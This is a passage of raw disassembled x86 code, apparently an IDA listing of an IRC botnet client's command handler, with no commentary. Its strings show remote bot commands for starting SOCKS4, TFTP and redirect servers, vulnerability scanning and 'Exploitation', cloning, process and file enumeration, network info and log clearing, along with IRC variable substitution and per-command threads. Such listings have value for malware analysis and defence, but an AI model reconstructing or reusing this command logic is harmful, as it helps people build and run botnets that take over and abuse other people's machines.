		pop	ecx
		jz	short loc_40D4C3
		push	dword ptr [ebp-90h]
		push	offset dword_436458
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412990
		cmp	ds:dword_42C17C, ebx
		jz	loc_412990


loc_40D4C3:				; CODE XREF: seg000:0040D489j
					; seg000:0040D49Bj
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D649
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_40D50A:				; CODE XREF: seg000:0040D705j
					; seg000:0040D796j ...
		shl	esi, 2
		mov	eax, [ebp+esi-94h]
		lea	edi, [ebp+esi-94h]
		push	eax
		push	offset dword_436450
		mov	[ebp+10h], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D943
		push	dword ptr [ebp+esi-90h]
		push	offset aSend_0	; "SEND"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D801
		cmp	[ebp-98h], ebx
		jz	loc_40D7D7
		push	dword ptr [ebp+esi-8Ch]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp-6FCh]
		push	edi
		push	eax
		call	sub_4154E9
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	edi
		push	eax
		call	sub_4154E9
		push	dword ptr [ebp+esi-84h]
		call	sub_415A5F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_416D40
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_436408
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_414F95
		add	esp, 44h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	40BAB4h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	loc_40D7C6


loc_40D633:				; CODE XREF: seg000:0040D647j
		cmp	[ebp-568h], ebx
		jnz	loc_40D7F9
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40D633
; ---------------------------------------------------------------------------


loc_40D649:				; CODE XREF: seg000:0040D4D3j
					; seg000:0040D4E9j
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D662
		mov	dword ptr [ebp-4], 1


loc_40D662:				; CODE XREF: seg000:0040D659j
		cmp	[ebp-8Ch], ebx
		jz	loc_40D219
		push	(offset	loc_4263DB+1)
		push	dword ptr [ebp-8Ch]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D689
		cmp	[ebp-4], ebx
		jz	short loc_40D695


loc_40D689:				; CODE XREF: seg000:0040D682j
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_40D695:				; CODE XREF: seg000:0040D687j
		cmp	[ebp-88h], ebx
		jz	loc_40D219
		inc	dword ptr [ebp-88h]
		jz	short loc_40D6E1
		cmp	[ebp+18h], ebx
		jz	short loc_40D6E1
		lea	eax, [ebp-564h]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_416ED0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40D6E7
; ---------------------------------------------------------------------------


loc_40D6E1:				; CODE XREF: seg000:0040D6A7j
					; seg000:0040D6ACj
		mov	esi, [ebp-0ACh]


loc_40D6E7:				; CODE XREF: seg000:0040D6DFj
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_40D219
		push	edi
		push	offset dword_4363FC
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D787
		mov	eax, ds:dword_46898C
		mov	eax, ds:off_42C248[eax*4]
		cmp	[eax], bl
		jz	short loc_40D787
		push	eax
		push	ecx
		push	offset dword_4363E0
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		add	esp, 20h
		cmp	[ebp-98h], ebx
		jnz	loc_40D219
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1
		push	eax
		push	offset dword_468894


loc_40D777:				; CODE XREF: seg000:00412149j
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40D787:				; CODE XREF: seg000:0040D714j
					; seg000:0040D724j
		push	edi
		push	offset dword_4363BC
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D50A
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_40D50A
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D50A
		push	eax
		push	ecx
		push	offset dword_4363A4
		jmp	loc_40D20E
; ---------------------------------------------------------------------------


loc_40D7C6:				; CODE XREF: seg000:0040D62Dj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436358
		jmp	loc_40D92F
; ---------------------------------------------------------------------------


loc_40D7D7:				; CODE XREF: seg000:0040D554j
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+esi-8Ch]
		push	offset dword_436304
		push	eax
		call	sub_4154E9
		add	esp, 10h


loc_40D7F9:				; CODE XREF: seg000:0040D639j
					; seg000:0040D8F7j ...
		push	1
		pop	esi
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------


loc_40D801:				; CODE XREF: seg000:0040D548j
		push	dword ptr [ebp+esi-90h]
		push	offset aChat	; "CHAT"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D959
		cmp	[ebp-98h], ebx
		jz	loc_40D923
		push	13h
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jnz	loc_40D915
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		push	dword ptr [ebp+esi-84h]
		call	sub_415A5F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_416D40
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4362C8
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	13h
		push	eax
		call	sub_414F95
		add	esp, 34h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset loc_40B551
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40D907


loc_40D8F1:				; CODE XREF: seg000:0040D905j
		cmp	[ebp-568h], ebx
		jnz	loc_40D7F9
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40D8F1
; ---------------------------------------------------------------------------


loc_40D907:				; CODE XREF: seg000:0040D8EFj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436280
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: seg000:0040D832j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_43623C
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: seg000:0040D822j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4361F8


loc_40D92F:				; CODE XREF: seg000:0040D7D2j
					; seg000:0040D913j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40D943:				; CODE XREF: seg000:0040D52Dj
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42C184
		mov	[edi], ecx
		jnz	loc_40D219


loc_40D959:				; CODE XREF: seg000:0040D816j
		mov	edi, [edi]
		push	edi
		push	offset aNewshit0 ; "newshit0"
		mov	[ebp+10h], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412998
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412998
		cmp	[ebp-98h], ebx
		jnz	short loc_40D9AA
		push	dword ptr [ebp-90h]
		push	offset dword_436458
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412990


loc_40D9AA:				; CODE XREF: seg000:0040D98Ej
		cmp	[ebp+30h], ebx
		jnz	loc_412990
		xor	edi, edi
		cmp	ds:dword_42E784, ebx
		jle	loc_40DB56
		mov	dword ptr [ebp+28h], offset dword_43E798


loc_40D9C8:				; CODE XREF: seg000:0040D9E7j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9EE
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, ds:dword_42E784
		jl	short loc_40D9C8
		jmp	loc_40DB56
; ---------------------------------------------------------------------------


loc_40D9EE:				; CODE XREF: seg000:0040D9D7j
		push	offset asc_436574 ; " :"
		push	dword ptr [ebp+8]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		mov	cl, ds:byte_42C184
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42C184
		mov	[eax+3], cl
		lea	ecx, dword_43E7B0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D40
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax


loc_40DA43:				; CODE XREF: seg000:0040DAEBj
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DAAF
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jz	short loc_40DAAF
		lea	eax, dword_43E798[edi]
		push	eax
		call	sub_415CF0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40DAE1
		mov	eax, [ebp+14h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAE1
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4099AA
		add	esp, 0Ch
		jmp	short loc_40DAE1
; ---------------------------------------------------------------------------


loc_40DAAF:				; CODE XREF: seg000:0040DA6Bj
					; seg000:0040DA72j
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jnz	short loc_40DAE1
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4099AA
		add	esp, 18h


loc_40DAE1:				; CODE XREF: seg000:0040DA84j
					; seg000:0040DA98j ...
		dec	dword ptr [ebp+28h]
		sub	dword ptr [ebp+14h], 4
		cmp	[ebp+28h], ebx
		jg	loc_40DA43
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_40DAFE:				; CODE XREF: seg000:0040DB4Aj
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_415AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DB41
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DB41
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4099AA
		add	esp, 0Ch


loc_40DB41:				; CODE XREF: seg000:0040DB26j
					; seg000:0040DB2Cj
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_40DAFE
		mov	dword ptr [ebp-0C8h], 1


loc_40DB56:				; CODE XREF: seg000:0040D9BBj
					; seg000:0040D9E9j
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, ds:byte_42C184
		jz	short loc_40DB6F
		cmp	[ebp-0C8h], ebx
		jz	loc_40DD54


loc_40DB6F:				; CODE XREF: seg000:0040DB61j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_4099AA
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4099AA
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4099AA
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_414435
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4099AA
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_4099AA
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AC0
		add	esp, 14h


loc_40DBE1:				; CODE XREF: seg000:0040DCCDj
		test	eax, eax
		jz	loc_40DCD2
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AC0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-0A4h]
		push	offset asc_4361A8 ; ")"
		push	eax
		call	sub_416C98
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A4h], 30h
		jl	short loc_40DC2D
		cmp	byte ptr [ebp-0A4h], 39h
		jle	short loc_40DC43


loc_40DC2D:				; CODE XREF: seg000:0040DC22j
		push	3
		lea	eax, [ebp-0A4h]
		push	offset a63	; "63"
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40DC43:				; CODE XREF: seg000:0040DC2Bj
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	short loc_40DC66
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_415A5F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_40DC77
; ---------------------------------------------------------------------------


loc_40DC66:				; CODE XREF: seg000:0040DC52j
		call	sub_415545
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_40DC77:				; CODE XREF: seg000:0040DC64j
		lea	eax, [ebp-0A4h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_415CF0
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A4h]
		push	ebx
		push	eax
		call	sub_415570
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A4h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4099AA
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AC0
		add	esp, 30h
		jmp	loc_40DBE1
; ---------------------------------------------------------------------------


loc_40DCD2:				; CODE XREF: seg000:0040DBE3j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-119Ch]
		push	offset asc_4269E8 ; " "
		push	eax
		call	sub_416C98
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_40DD22:				; CODE XREF: seg000:0040DD37j
		push	offset asc_4269E8 ; " "
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40DD22
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_40D219
		add	ecx, 3
		mov	[eax], ecx


loc_40DD54:				; CODE XREF: seg000:0040DB69j
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+10h], edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412943
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412943
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412921
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412921
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287F
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41287F
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412861
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412861
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274C
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274C
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274C
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41274C
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41262A
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41262A
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEC4
		push	dword ptr [ebp+esi-90h]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_4360D8


loc_40DEA8:				; CODE XREF: seg000:0040DEE8j
					; seg000:0040DF0Ej ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_415223
		add	esp, 20h
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_40DEC4:				; CODE XREF: seg000:0040DE93j
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEEA
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_4360B4
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DEEA:				; CODE XREF: seg000:0040DED3j
		push	edi
		push	offset dword_4360A4
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF10
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_436098
		jmp	short loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF10:				; CODE XREF: seg000:0040DEF9j
		push	edi
		push	offset dword_436090
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF39
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_436084
		push	offset dword_436078
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF39:				; CODE XREF: seg000:0040DF1Fj
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF62
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_436054
		push	offset dword_436044
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: seg000:0040DF48j
		push	edi
		push	offset dword_436038
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF8B
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_43602C
		push	offset dword_436020
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DF8B:				; CODE XREF: seg000:0040DF71j
		push	edi
		push	offset dword_436010
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFB4
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_436004
		push	offset dword_435FF8
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DFB4:				; CODE XREF: seg000:0040DF9Aj
		push	edi
		push	offset dword_435FE8
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFDD
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_435FDC
		push	offset dword_435FD0
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40DFDD:				; CODE XREF: seg000:0040DFC3j
		push	edi
		push	offset dword_435FC0
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E006
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_435FB4
		push	offset dword_435FA8
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E006:				; CODE XREF: seg000:0040DFECj
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E02F
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_435F8C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E02F:				; CODE XREF: seg000:0040E015j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412612
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412612
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FA
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FA
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0AC
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_435F2C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E0AC:				; CODE XREF: seg000:0040E092j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0D5
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_435F04
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E0D5:				; CODE XREF: seg000:0040E0BBj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0FE
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_40E0FE:				; CODE XREF: seg000:0040E0E4j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E4
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125E4
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C3
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C3
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125A1
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125A1
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412559
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412559
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41251B
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41251B
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E4
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E4
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E24C
		call	sub_409DF3
		test	eax, eax
		mov	eax, offset dword_435E28
		jnz	short loc_40E21E
		mov	eax, offset dword_435DF0


loc_40E21E:				; CODE XREF: seg000:0040E217j
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 1Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40E24C:				; CODE XREF: seg000:0040E209j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F3
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F3
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D3
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D3
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E3
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E3
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122CA
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122CA
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412293
		push	edi
		push	offset aBox_ni	; "box.ni"
